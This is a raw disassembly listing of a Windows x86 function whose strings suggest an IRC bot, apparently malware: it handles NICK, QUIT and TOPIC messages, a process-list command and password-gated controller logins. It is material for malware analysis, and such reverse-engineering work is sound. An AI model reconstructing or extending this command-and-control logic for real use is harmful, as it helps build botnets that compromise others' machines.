imul ecx, dword [esp + 0x4e0], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x40466f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._THREADS_:_Failed_to_start_list_thread__error:___d_.
lea eax, [esp + 0x564]
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x4047fd
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x4f0], 0
je 0x404667
jmp 0x4047fd
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4046a8
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
mov ecx, dword [ebp + ebx*4 + 4]
test ecx, ecx
je 0x4046dd
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4046f0
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4046f0
push eax
push str.QUIT_:_s_r_n
push dword [esp + 0x1178]
call fcn.004013ca
add esp, 0xc
jmp 0x4046f0
push str.QUIT_:later_r_n
push dword [esp + 0x1174]
call fcn.004013ca
pop ecx
pop ecx
push 0xfffffffffffffffe
pop eax
jmp 0x4048eb
push str.QUIT_:disconnecting_r_n
push dword [esp + 0x1174]
call fcn.004013ca
pop ecx
pop ecx
or eax, 0xffffffff
jmp 0x4048eb
push str.QUIT_:reconnecting_r_n
push dword [esp + 0x1174]
call fcn.004013ca
pop ecx
pop ecx
xor eax, eax
jmp 0x4048eb
push dword [ebp + ebx*4 + 4]
push 0x14
push str.Process_list
push str._PROC_
jmp 0x402907
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40476c
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
call fcn.00401140
jmp 0x404580
push 0x1c
lea eax, [esp + 0x444]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push dword [ebp + ebx*4 + 4]
movzx eax, byte [esp + 0x7dc]
push eax
push dword [0x4252ac]
lea eax, [esp + 0x458]
push eax
call fcn.004014d3
lea eax, [esp + 0x45c]
push eax
push str.NICK__s_r_n
push dword [esp + 0x1194]
call fcn.004013ca
lea eax, [esp + 0x468]
push eax
lea eax, [esp + 0x588]
push str._MAIN_:_Random_nick_change_to:__s.
push eax
call fcn.004013c0
add esp, 0x34
test esi, esi
jne 0x4047fd
push esi
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push dword [esp + 0x1180]
call fcn.004013e8
add esp, 0x14
mov eax, dword [esp + 0x1194]
jmp 0x4048eb
cmp dword [ebp + ebx*4 + 4], 0
je 0x4048e8
cmp dword [esp + 0x1190], 0
jne 0x4048e8
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
push dword [ebp]
lea eax, [esp + 0x460]
push 0x80
push eax
call fcn.00401208
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
push 0x4153d4
push dword [ebp]
call esi
push 0x4153d8
push 0
call esi
push 0x4153dc
push eax
call esi
xor esi, esi
mov dword [esp + 0x3c], eax
add esp, 0x24
cmp dword [0x420b5c], esi
jle 0x4048bb
push eax
push dword [esi*4 + 0x4209d4]
call fcn.0040103c
pop ecx
pop ecx
test eax, eax
jne 0x404904
mov eax, dword [esp + 0x18]
inc esi
cmp esi, dword [0x420b5c]
jl 0x404897
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x38]
push eax
push ebx
push ebx
push str.NOTICE__s_:Authentication_failed___s__s_._r_n
push dword [esp + 0x1180]
call fcn.004013ca
push ebx
push str.NOTICE__s_:Your_attempt_has_been_logged._r_n
push dword [esp + 0x118c]
call fcn.004013ca
add esp, 0x20
xor eax, eax
inc eax
mov ecx, dword [esp + 0x115c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004013b1
add esp, 0x1150
ret
push dword [ebp + ebx*4 + 4]
push 0x420938
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4048b7
mov edx, dword [esp + 0x40]
mov esi, 0x80
mov ecx, edx
cmp byte [ecx], 0
je 0x404958
inc eax
add ecx, esi
cmp eax, 3
jl 0x404923
push dword [esp + 0x38]
lea eax, [esp + 0x560]
push str._MAIN_:_Failed_to_login_user:__s__too_many_logins_already.
push 0x200
push eax
call fcn.00401208
add esp, 0x10
cmp dword [esp + 0x24], 0
jmp 0x402f82
lea ecx, [esp + 0x45c]
shl eax, 7
push ecx
add eax, edx
push esi
push eax
call fcn.00401208
add esp, 0xc
cmp dword [esp + 0x24], 0
jne 0x4048e8
push 0
push edi
push str._MAIN_:_Password_accepted.
jmp 0x402f93